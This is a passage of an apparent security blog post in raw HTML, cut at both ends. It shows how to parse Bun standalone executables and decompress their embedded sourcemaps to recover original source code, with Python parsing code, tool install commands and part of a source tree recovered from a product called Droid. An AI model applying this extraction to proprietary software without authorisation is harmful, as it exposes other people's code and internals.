style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; modules_length &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;I&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; offsets_bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;12&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; entry_point_id &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;I&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; offsets_bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;16&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;20&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; ... etc&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Parse module array&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; module_size &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 36&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; sizeof(CompiledModuleGraphFile)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; module_count &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; modules_length &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; module_size&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; modules &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; for&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; i &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;in&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; range&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;module_count&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; modules_offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; i &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; module_size&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; mod &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; parse_module&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; offset&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; modules&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;append&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;mod&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; modules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="sourcemap-format"&gt;Sourcemap Format&lt;a class="heading-anchor" href="#sourcemap-format" aria-label="Link to Sourcemap Format"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The bundled output is useful, but the real prize is recovering original source files. Bun includes sourcemaps for stack traces and debugging, and those sourcemaps embed the original source content (zstd-compressed).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sourcemap&lt;/code&gt; field in each &lt;code&gt;CompiledModuleGraphFile&lt;/code&gt; points to Bun&amp;rsquo;s serialized sourcemap format, a compact binary structure (not standard JSON):&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="zig"&gt;&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt;// src/StandaloneModuleGraph.zig&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;pub&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; SerializedSourceMap &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; struct&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; []&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; u8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; pub&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Header &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; extern&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; struct&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; source_files_count&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; u32&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // number of original source files&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; map_bytes_length&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; u32&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // length of VLQ mapping data&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; }&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt; // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="sourcemap-layout"&gt;Sourcemap Layout&lt;a class="heading-anchor" href="#sourcemap-layout" aria-label="Link to Sourcemap Layout"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/bun-sourcemap-layout.svg"&gt;&lt;img src="https://0day.gg/images/bun-sourcemap-layout.svg" alt="Bun serialized sourcemap format" loading="lazy" decoding="async" width="500" height="455"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;h3 id="extracting-original-sources"&gt;Extracting Original Sources&lt;a class="heading-anchor" href="#extracting-original-sources" aria-label="Link to Extracting Original Sources"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To recover the original files:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the header to get &lt;code&gt;source_files_count&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;N&lt;/code&gt; StringPointers for file names&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;N&lt;/code&gt; StringPointers for compressed contents&lt;/li&gt;
&lt;li&gt;For each file:
&lt;ul&gt;
&lt;li&gt;Slice out the name using its StringPointer&lt;/li&gt;
&lt;li&gt;Slice out the compressed content using its StringPointer&lt;/li&gt;
&lt;li&gt;Decompress with zstd&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="python"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;def&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; extract_sourcemap&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; bytes&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Header&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; source_count &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;I&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;4&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; map_length &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; struct&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;unpack&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;&amp;#x3C;I&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;4&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;])[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Pointer arrays start after header&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; names_start &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; contents_start &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; names_start &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; source_count &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 8&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; files &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; for&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; i &lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;in&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; range&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;source_count&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Name pointer&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; name_ptr &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; parse_string_pointer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; names_start &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; i &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; name &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;name_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; name_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; name_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;length&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;].&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;decode&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; #&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Content pointer (zstd compressed)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; content_ptr &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; parse_string_pointer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; contents_start &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; i &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 8&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; compressed &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; data&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;content_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; content_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;offset &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;+&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; content_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;length&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; content &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; zstd&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;decompress&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;compressed&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; files&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;append&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;((&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; content&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; files&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="the-tool"&gt;The Tool&lt;a class="heading-anchor" href="#the-tool" aria-label="Link to The Tool"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I wrote &lt;a href="https://github.com/xpcmdshell/bun-unpack" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;bun-unpack&lt;/code&gt;&lt;/a&gt; to handle the platform differences, version quirks, and path normalization:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Install&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;uv&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; tool&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; install&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; git+ssh://git@github.com/xpcmdshell/bun-unpack.git&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Recover original sources (default)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;bun-unpack&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ./sample&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -o&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; out/&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Extract bundled output + sourcemaps instead&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;bun-unpack&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ./sample&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --bundle&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -o&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; out/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Two modes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Default&lt;/strong&gt;: Recover original project tree from embedded sourcemaps&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--bundle&lt;/code&gt;&lt;/strong&gt;: Extract the bundled JS output + write &lt;code&gt;.map&lt;/code&gt; files&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="caveats"&gt;Caveats&lt;a class="heading-anchor" href="#caveats" aria-label="Link to Caveats"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Not every Bun executable includes &lt;code&gt;sourcesContent&lt;/code&gt;. If the build omitted it, source recovery won&amp;rsquo;t work, but &lt;code&gt;--bundle&lt;/code&gt; still extracts the bundled output.&lt;/li&gt;
&lt;li&gt;Sourcemap paths can include absolute paths from the build machine, URL prefixes (&lt;code&gt;webpack://&lt;/code&gt;), or traversal sequences. Normalize carefully if writing to disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="back-to-droid"&gt;Back to Droid&lt;a class="heading-anchor" href="#back-to-droid" aria-label="Link to Back to Droid"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So what did extraction actually yield?&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;❯ tree&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;├── acp&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── ACPAdapter.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── protocol&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ └── translator.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── session&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ ├── ACPSessionManager.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ └── mcpConfigMerge.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── tools&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ ├── permissions.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ └── utils.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── utils&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── nodeStreams.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;├── agent&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── autonomy.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── file-edit&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ ├── edit.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ │ └── utils.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── messaging.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── tool-confirmation.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── tools.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── warmup.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;├── api&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── config.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── init.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ └── session.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;├── app.tsx&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;├── auth&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── identity.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;│ ├── stored&lt;/span&gt;&lt;/span&gt;
